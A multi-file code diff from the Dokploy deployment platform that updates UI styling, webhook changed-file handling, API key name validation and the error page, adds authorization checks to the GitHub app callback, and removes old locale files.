@@ -80,7 +80,7 @@ function SelectContent({
|
||||
<SelectPrimitive.Viewport
|
||||
data-position={position}
|
||||
className={cn(
|
||||
"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
|
||||
"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
|
||||
position === "popper" && "",
|
||||
)}
|
||||
>
|
||||
@@ -114,7 +114,7 @@ function SelectItem({
|
||||
<SelectPrimitive.Item
|
||||
data-slot="select-item"
|
||||
className={cn(
|
||||
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
|
||||
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
|
||||
className,
|
||||
)}
|
||||
{...props}
|
||||
|
||||
@@ -464,7 +464,7 @@ function SidebarMenuItem({ className, ...props }: React.ComponentProps<"li">) {
|
||||
}
|
||||
|
||||
const sidebarMenuButtonVariants = cva(
|
||||
"peer/menu-button group/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-open:hover:bg-sidebar-accent data-open:hover:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:font-medium data-active:text-sidebar-accent-foreground [&_svg]:size-4 [&_svg]:shrink-0 [&>span:last-child]:truncate",
|
||||
"peer/menu-button group/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-open:hover:bg-sidebar-accent data-open:hover:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:font-medium data-active:text-sidebar-accent-foreground [&_svg]:size-4 [&_svg]:shrink-0 [&>span:last-child]:truncate",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
@@ -473,8 +473,8 @@ const sidebarMenuButtonVariants = cva(
|
||||
"bg-background shadow-[0_0_0_1px_var(--sidebar-border)] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_var(--sidebar-accent)]",
|
||||
},
|
||||
size: {
|
||||
default: "h-8 text-sm",
|
||||
sm: "h-7 text-xs",
|
||||
default: "h-8 text-sm group-data-[collapsible=icon]:p-2!",
|
||||
sm: "h-7 text-xs group-data-[collapsible=icon]:p-2!",
|
||||
lg: "h-12 text-sm group-data-[collapsible=icon]:p-0!",
|
||||
},
|
||||
},
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
ALTER TABLE "backup" ADD COLUMN "includeEncryptionKey" boolean DEFAULT true NOT NULL;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1219,6 +1219,13 @@
|
||||
"when": 1783494977500,
|
||||
"tag": "0173_aspiring_annihilus",
|
||||
"breakpoints": true
|
||||
},
|
||||
{
|
||||
"idx": 174,
|
||||
"version": "7",
|
||||
"when": 1783674181297,
|
||||
"tag": "0174_great_naoko",
|
||||
"breakpoints": true
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
import { z } from "zod";
|
||||
|
||||
/**
|
||||
* Maximum length allowed for an API key name.
|
||||
*
|
||||
* This mirrors the default `maximumNameLength` enforced by the
|
||||
* `@better-auth/api-key` plugin. Names longer than this are rejected by
|
||||
* better-auth with a 400, so we validate against it up front to surface a
|
||||
* clear field-level error instead of an opaque 500.
|
||||
*/
|
||||
export const API_KEY_NAME_MAX_LENGTH = 32;
|
||||
|
||||
/**
|
||||
* Shared validation for an API key name, used by both the tRPC input schema
|
||||
* and the client form so the two can't drift.
|
||||
*/
|
||||
export const apiKeyNameSchema = z
|
||||
.string()
|
||||
.min(1, "Name is required")
|
||||
.max(
|
||||
API_KEY_NAME_MAX_LENGTH,
|
||||
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
|
||||
);
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "dokploy",
|
||||
"version": "v0.29.11",
|
||||
"version": "v0.29.14",
|
||||
"private": true,
|
||||
"license": "Apache-2.0",
|
||||
"type": "module",
|
||||
|
||||
@@ -5,12 +5,11 @@ import { buttonVariants } from "@/components/ui/button";
|
||||
import { useWhitelabelingPublic } from "@/utils/hooks/use-whitelabeling";
|
||||
|
||||
interface Props {
|
||||
statusCode: number;
|
||||
error?: Error;
|
||||
statusCode?: number;
|
||||
}
|
||||
|
||||
export default function Custom404({ statusCode, error }: Props) {
|
||||
const displayStatusCode = statusCode || 400;
|
||||
export default function ErrorPage({ statusCode }: Props) {
|
||||
const displayStatusCode = statusCode || 500;
|
||||
const { config: whitelabeling } = useWhitelabelingPublic();
|
||||
const appName = whitelabeling?.appName || "Dokploy";
|
||||
const logoUrl = whitelabeling?.logoUrl || undefined;
|
||||
@@ -45,12 +44,6 @@ export default function Custom404({ statusCode, error }: Props) {
|
||||
{errorDescription}
|
||||
</p>
|
||||
)}
|
||||
{error && (
|
||||
<div className="mt-3 text-red-500">
|
||||
<p>{error.message}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="mt-5 flex flex-col justify-center items-center gap-2 sm:flex-row sm:gap-3">
|
||||
<Link
|
||||
href="/dashboard/home"
|
||||
@@ -101,8 +94,7 @@ export default function Custom404({ statusCode, error }: Props) {
|
||||
);
|
||||
}
|
||||
|
||||
// @ts-ignore
|
||||
Error.getInitialProps = ({ res, err }: NextPageContext) => {
|
||||
const statusCode = res ? res.statusCode : err ? err.statusCode : 404;
|
||||
return { statusCode, error: err };
|
||||
ErrorPage.getInitialProps = ({ res, err }: NextPageContext) => {
|
||||
const statusCode = res ? res.statusCode : err ? (err.statusCode ?? 500) : 404;
|
||||
return { statusCode };
|
||||
};
|
||||
|
||||
@@ -119,9 +119,11 @@ export default async function handler(
|
||||
}
|
||||
// If webhook doesn't provide image info, we'll use the configured image (old behavior)
|
||||
} else if (sourceType === "github") {
|
||||
const normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
application.watchPaths,
|
||||
@@ -150,21 +152,29 @@ export default async function handler(
|
||||
let normalizedCommits: string[] = [];
|
||||
|
||||
if (provider === "github") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
} else if (provider === "gitlab") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
} else if (provider === "gitea") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
} else if (provider === "soft-serve") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
}
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
@@ -179,9 +189,11 @@ export default async function handler(
|
||||
} else if (sourceType === "gitlab") {
|
||||
const branchName = extractBranchName(req.headers, req.body);
|
||||
|
||||
const normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
application.watchPaths,
|
||||
@@ -225,9 +237,11 @@ export default async function handler(
|
||||
} else if (sourceType === "gitea") {
|
||||
const branchName = extractBranchName(req.headers, req.body);
|
||||
|
||||
const normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
application.watchPaths,
|
||||
|
||||
@@ -54,9 +54,11 @@ export default async function handler(
|
||||
|
||||
if (sourceType === "github") {
|
||||
const branchName = extractBranchName(req.headers, req.body);
|
||||
const normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
composeResult.watchPaths,
|
||||
@@ -74,9 +76,11 @@ export default async function handler(
|
||||
}
|
||||
} else if (sourceType === "gitlab") {
|
||||
const branchName = extractBranchName(req.headers, req.body);
|
||||
const normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
composeResult.watchPaths,
|
||||
@@ -125,17 +129,23 @@ export default async function handler(
|
||||
let normalizedCommits: string[] = [];
|
||||
|
||||
if (provider === "github") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
} else if (provider === "gitlab") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
} else if (provider === "gitea") {
|
||||
normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
}
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
@@ -150,9 +160,11 @@ export default async function handler(
|
||||
} else if (sourceType === "gitea") {
|
||||
const branchName = extractBranchName(req.headers, req.body);
|
||||
|
||||
const normalizedCommits = req.body?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const shouldDeployPaths = shouldDeploy(
|
||||
composeResult.watchPaths,
|
||||
|
||||
@@ -223,9 +223,11 @@ export default async function handler(
|
||||
const deploymentTitle = extractCommitMessage(req.headers, req.body);
|
||||
const deploymentHash = extractHash(req.headers, req.body);
|
||||
const owner = getGithubRepositoryOwner(githubBody);
|
||||
const normalizedCommits = githubBody?.commits?.flatMap(
|
||||
(commit: any) => commit.modified,
|
||||
);
|
||||
const normalizedCommits = githubBody?.commits?.flatMap((commit: any) => [
|
||||
...(commit.added || []),
|
||||
...(commit.modified || []),
|
||||
...(commit.removed || []),
|
||||
]);
|
||||
|
||||
const apps = await db.query.applications.findMany({
|
||||
where: and(
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { createGithub } from "@dokploy/server";
|
||||
import { createGithub, validateRequest } from "@dokploy/server";
|
||||
import { db } from "@dokploy/server/db";
|
||||
import { hasPermission } from "@dokploy/server/services/permission";
|
||||
import { eq } from "drizzle-orm";
|
||||
import type { NextApiRequest, NextApiResponse } from "next";
|
||||
import { Octokit } from "octokit";
|
||||
@@ -21,18 +22,22 @@ export default async function handler(
|
||||
if (!code) {
|
||||
return res.status(400).json({ error: "Missing code parameter" });
|
||||
}
|
||||
const [action, ...rest] = state?.split(":");
|
||||
// For gh_init: rest[0] = organizationId, rest[1] = userId
|
||||
// For gh_setup: rest[0] = githubProviderId
|
||||
|
||||
const { user, session } = await validateRequest(req);
|
||||
if (!user || !session?.activeOrganizationId) {
|
||||
return res.status(401).json({ error: "Unauthorized" });
|
||||
}
|
||||
const ctx = {
|
||||
user: { id: user.id },
|
||||
session: { activeOrganizationId: session.activeOrganizationId },
|
||||
};
|
||||
|
||||
const [action] = state?.split(":") ?? [];
|
||||
if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
|
||||
return res.status(403).json({ error: "Forbidden" });
|
||||
}
|
||||
|
||||
if (action === "gh_init") {
|
||||
const organizationId = rest[0];
|
||||
const userId = rest[1] || (req.query.userId as string);
|
||||
|
||||
if (!userId) {
|
||||
return res.status(400).json({ error: "Missing userId parameter" });
|
||||
}
|
||||
|
||||
const octokit = new Octokit({});
|
||||
const { data } = await octokit.request(
|
||||
"POST /app-manifests/{code}/conversions",
|
||||
@@ -51,16 +56,32 @@ export default async function handler(
|
||||
githubWebhookSecret: data.webhook_secret,
|
||||
githubPrivateKey: data.pem,
|
||||
},
|
||||
organizationId as string,
|
||||
userId,
|
||||
session.activeOrganizationId,
|
||||
user.id,
|
||||
);
|
||||
} else if (action === "gh_setup") {
|
||||
const githubId = state?.split(":")[1];
|
||||
if (!githubId) {
|
||||
return res.status(400).json({ error: "Missing github provider id" });
|
||||
}
|
||||
|
||||
const provider = await db.query.github.findFirst({
|
||||
where: eq(github.githubId, githubId),
|
||||
with: { gitProvider: true },
|
||||
});
|
||||
if (
|
||||
!provider ||
|
||||
provider.gitProvider.organizationId !== session.activeOrganizationId
|
||||
) {
|
||||
return res.status(404).json({ error: "Github provider not found" });
|
||||
}
|
||||
|
||||
await db
|
||||
.update(github)
|
||||
.set({
|
||||
githubInstallationId: installation_id,
|
||||
})
|
||||
.where(eq(github.githubId, rest[0] as string))
|
||||
.where(eq(github.githubId, githubId))
|
||||
.returning();
|
||||
}
|
||||
|
||||
|
||||
+1
@@ -347,6 +347,7 @@ const Service = (
|
||||
<ShowDockerLogs
|
||||
appName={data?.appName || ""}
|
||||
serverId={data?.serverId || ""}
|
||||
serviceId={data?.applicationId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
+3
@@ -312,6 +312,7 @@ const Service = (
|
||||
serverId={data?.serverId || undefined}
|
||||
appName={data?.appName || ""}
|
||||
appType={data?.composeType || "docker-compose"}
|
||||
serviceId={data?.composeId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
@@ -380,11 +381,13 @@ const Service = (
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
appType={data?.composeType || "docker-compose"}
|
||||
serviceId={data?.composeId}
|
||||
/>
|
||||
) : (
|
||||
<ShowDockerLogsStack
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.composeId}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
|
||||
+1
@@ -269,6 +269,7 @@ const Libsql = (
|
||||
<ShowDockerLogs
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.libsqlId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
+1
@@ -299,6 +299,7 @@ const Mariadb = (
|
||||
<ShowDockerLogs
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.mariadbId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
+1
@@ -299,6 +299,7 @@ const Mongo = (
|
||||
<ShowDockerLogs
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.mongoId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
+1
@@ -276,6 +276,7 @@ const MySql = (
|
||||
<ShowDockerLogs
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.mysqlId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
+1
@@ -284,6 +284,7 @@ const Postgresql = (
|
||||
<ShowDockerLogs
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.postgresId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
+1
@@ -297,6 +297,7 @@ const Redis = (
|
||||
<ShowDockerLogs
|
||||
serverId={data?.serverId || ""}
|
||||
appName={data?.appName || ""}
|
||||
serviceId={data?.redisId}
|
||||
/>
|
||||
</div>
|
||||
</TabsContent>
|
||||
|
||||
@@ -310,7 +310,7 @@ export default function Home({ IS_CLOUD, enforceSSO }: Props) {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="flex gap-4">
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<Button
|
||||
variant="outline"
|
||||
className="w-full"
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,58 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Yadda saxla",
|
||||
"settings.common.enterTerminal": "Terminala daxil ol",
|
||||
"settings.server.domain.title": "Server Domeni",
|
||||
"settings.server.domain.description": "Server tətbiqinizə domen əlavə edin.",
|
||||
"settings.server.domain.form.domain": "Domen",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-poçtu",
|
||||
"settings.server.domain.form.certificate.label": "Sertifikat Təminatçısı",
|
||||
"settings.server.domain.form.certificate.placeholder": "Sertifikat seçin",
|
||||
"settings.server.domain.form.certificateOptions.none": "Heç biri",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
|
||||
|
||||
"settings.server.webServer.title": "Veb Server",
|
||||
"settings.server.webServer.description": "Veb serveri yenidən yüklə və ya təmizlə.",
|
||||
"settings.server.webServer.actions": "Əməliyyatlar",
|
||||
"settings.server.webServer.reload": "Yenidən yüklə",
|
||||
"settings.server.webServer.watchLogs": "Logları izlə",
|
||||
"settings.server.webServer.updateServerIp": "Server IP-ni Yenilə",
|
||||
"settings.server.webServer.server.label": "Server",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Mühiti Dəyişdir",
|
||||
"settings.server.webServer.traefik.managePorts": "Əlavə Port Təyinatları",
|
||||
"settings.server.webServer.traefik.managePortsDescription": "Traefik üçün əlavə portlar əlavə edin və ya silin",
|
||||
"settings.server.webServer.traefik.targetPort": "Hədəf Port",
|
||||
"settings.server.webServer.traefik.publishedPort": "Dərc Edilmiş Port",
|
||||
"settings.server.webServer.traefik.addPort": "Port Əlavə Et",
|
||||
"settings.server.webServer.traefik.portsUpdated": "Portlar uğurla yeniləndi",
|
||||
"settings.server.webServer.traefik.portsUpdateError": "Portların yenilənməsi uğursuz oldu",
|
||||
"settings.server.webServer.traefik.publishMode": "Dərc Rejimi",
|
||||
"settings.server.webServer.storage.label": "Yer",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "İstifadə edilməyən şəkilləri təmizlə",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "İstifadə edilməyən həcmləri təmizlə",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Dayandırılmış konteynerləri təmizlə",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder və Sistemi təmizlə",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Monitorinqi təmizlə",
|
||||
"settings.server.webServer.storage.cleanAll": "Hamısını təmizlə",
|
||||
|
||||
"settings.profile.title": "Hesab",
|
||||
"settings.profile.description": "Profilinizin məlumatlarını buradan dəyişin.",
|
||||
"settings.profile.email": "E-poçt",
|
||||
"settings.profile.password": "Şifrə",
|
||||
"settings.profile.avatar": "Avatar",
|
||||
|
||||
"settings.appearance.title": "Görünüş",
|
||||
"settings.appearance.description": "İdarəetmə panelinizin görünüşünü fərdiləşdirin.",
|
||||
"settings.appearance.theme": "Mövzu",
|
||||
"settings.appearance.themeDescription": "İdarəetmə paneliniz üçün mövzu seçin",
|
||||
"settings.appearance.themes.light": "İşıqlı",
|
||||
"settings.appearance.themes.dark": "Qaranlıq",
|
||||
"settings.appearance.themes.system": "Sistem",
|
||||
"settings.appearance.language": "Dil",
|
||||
"settings.appearance.languageDescription": "İdarəetmə paneliniz üçün dil seçin",
|
||||
|
||||
"settings.terminal.connectionSettings": "Bağlantı parametrləri",
|
||||
"settings.terminal.ipAddress": "IP Ünvanı",
|
||||
"settings.terminal.port": "Port",
|
||||
"settings.terminal.username": "İstifadəçi adı"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,44 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Speichern",
|
||||
"settings.server.domain.title": "Server-Domain",
|
||||
"settings.server.domain.description": "Füg eine Domain zu deiner Server-Anwendung hinzu.",
|
||||
"settings.server.domain.form.domain": "Domain",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-Mail",
|
||||
"settings.server.domain.form.certificate.label": "Zertifikat",
|
||||
"settings.server.domain.form.certificate.placeholder": "Wähl ein Zertifikat aus",
|
||||
"settings.server.domain.form.certificateOptions.none": "Keins",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Standard)",
|
||||
|
||||
"settings.server.webServer.title": "Web-Server",
|
||||
"settings.server.webServer.description": "Lade den Web-Server neu oder reinige ihn.",
|
||||
"settings.server.webServer.actions": "Aktionen",
|
||||
"settings.server.webServer.reload": "Neu laden",
|
||||
"settings.server.webServer.watchLogs": "Logs anschauen",
|
||||
"settings.server.webServer.updateServerIp": "Server-IP Aktualisieren",
|
||||
"settings.server.webServer.server.label": "Server",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Umgebungsvariablen ändern",
|
||||
"settings.server.webServer.storage.label": "Speicherplatz",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "Nicht genutzte Bilder löschen",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "Nicht genutzte Volumes löschen",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Gestoppte Container löschen",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & System bereinigen",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Monitoring bereinigen",
|
||||
"settings.server.webServer.storage.cleanAll": "Alles bereinigen",
|
||||
|
||||
"settings.profile.title": "Konto",
|
||||
"settings.profile.description": "Ändere die Details deines Profiles hier.",
|
||||
"settings.profile.email": "E-Mail",
|
||||
"settings.profile.password": "Passwort",
|
||||
"settings.profile.avatar": "Avatar",
|
||||
|
||||
"settings.appearance.title": "Aussehen",
|
||||
"settings.appearance.description": "Pass das Design deines Dashboards an.",
|
||||
"settings.appearance.theme": "Theme",
|
||||
"settings.appearance.themeDescription": "Wähl ein Theme für dein Dashboard aus",
|
||||
"settings.appearance.themes.light": "Hell",
|
||||
"settings.appearance.themes.dark": "Dunkel",
|
||||
"settings.appearance.themes.system": "System",
|
||||
"settings.appearance.language": "Sprache",
|
||||
"settings.appearance.languageDescription": "Wähl eine Sprache für dein Dashboard aus"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,58 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Save",
|
||||
"settings.common.enterTerminal": "Terminal",
|
||||
"settings.server.domain.title": "Server Domain",
|
||||
"settings.server.domain.description": "Add a domain to your server application.",
|
||||
"settings.server.domain.form.domain": "Domain",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
|
||||
"settings.server.domain.form.certificate.label": "Certificate Provider",
|
||||
"settings.server.domain.form.certificate.placeholder": "Select a certificate",
|
||||
"settings.server.domain.form.certificateOptions.none": "None",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
|
||||
|
||||
"settings.server.webServer.title": "Web Server",
|
||||
"settings.server.webServer.description": "Reload or clean the web server.",
|
||||
"settings.server.webServer.actions": "Actions",
|
||||
"settings.server.webServer.reload": "Reload",
|
||||
"settings.server.webServer.watchLogs": "View Logs",
|
||||
"settings.server.webServer.updateServerIp": "Update Server IP",
|
||||
"settings.server.webServer.server.label": "Server",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Modify Environment",
|
||||
"settings.server.webServer.traefik.managePorts": "Additional Port Mappings",
|
||||
"settings.server.webServer.traefik.managePortsDescription": "Add or remove additional ports for Traefik",
|
||||
"settings.server.webServer.traefik.targetPort": "Target Port",
|
||||
"settings.server.webServer.traefik.publishedPort": "Published Port",
|
||||
"settings.server.webServer.traefik.addPort": "Add Port",
|
||||
"settings.server.webServer.traefik.portsUpdated": "Ports updated successfully",
|
||||
"settings.server.webServer.traefik.portsUpdateError": "Failed to update ports",
|
||||
"settings.server.webServer.traefik.publishMode": "Publish Mode",
|
||||
"settings.server.webServer.storage.label": "Space",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "Clean unused images",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "Clean unused volumes",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Clean stopped containers",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Clean Docker Builder & System",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Clean Monitoring",
|
||||
"settings.server.webServer.storage.cleanAll": "Clean all",
|
||||
|
||||
"settings.profile.title": "Account",
|
||||
"settings.profile.description": "Change the details of your profile here.",
|
||||
"settings.profile.email": "Email",
|
||||
"settings.profile.password": "Password",
|
||||
"settings.profile.avatar": "Avatar",
|
||||
|
||||
"settings.appearance.title": "Appearance",
|
||||
"settings.appearance.description": "Customize the theme of your dashboard.",
|
||||
"settings.appearance.theme": "Theme",
|
||||
"settings.appearance.themeDescription": "Select a theme for your dashboard",
|
||||
"settings.appearance.themes.light": "Light",
|
||||
"settings.appearance.themes.dark": "Dark",
|
||||
"settings.appearance.themes.system": "System",
|
||||
"settings.appearance.language": "Language",
|
||||
"settings.appearance.languageDescription": "Select a language for your dashboard",
|
||||
|
||||
"settings.terminal.connectionSettings": "Connection settings",
|
||||
"settings.terminal.ipAddress": "IP Address",
|
||||
"settings.terminal.port": "Port",
|
||||
"settings.terminal.username": "Username"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,52 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Guardar",
|
||||
"settings.server.domain.title": "Dominio del Servidor",
|
||||
"settings.server.domain.description": "Añade un dominio a tu aplicación de servidor.",
|
||||
"settings.server.domain.form.domain": "Dominio",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Correo de Let's Encrypt",
|
||||
"settings.server.domain.form.certificate.label": "Proveedor de Certificado",
|
||||
"settings.server.domain.form.certificate.placeholder": "Selecciona un certificado",
|
||||
"settings.server.domain.form.certificateOptions.none": "Ninguno",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
|
||||
|
||||
"settings.server.webServer.title": "Servidor Web",
|
||||
"settings.server.webServer.description": "Recarga o limpia el servidor web.",
|
||||
"settings.server.webServer.actions": "Acciones",
|
||||
"settings.server.webServer.reload": "Recargar",
|
||||
"settings.server.webServer.watchLogs": "Ver registros",
|
||||
"settings.server.webServer.updateServerIp": "Actualizar IP del Servidor",
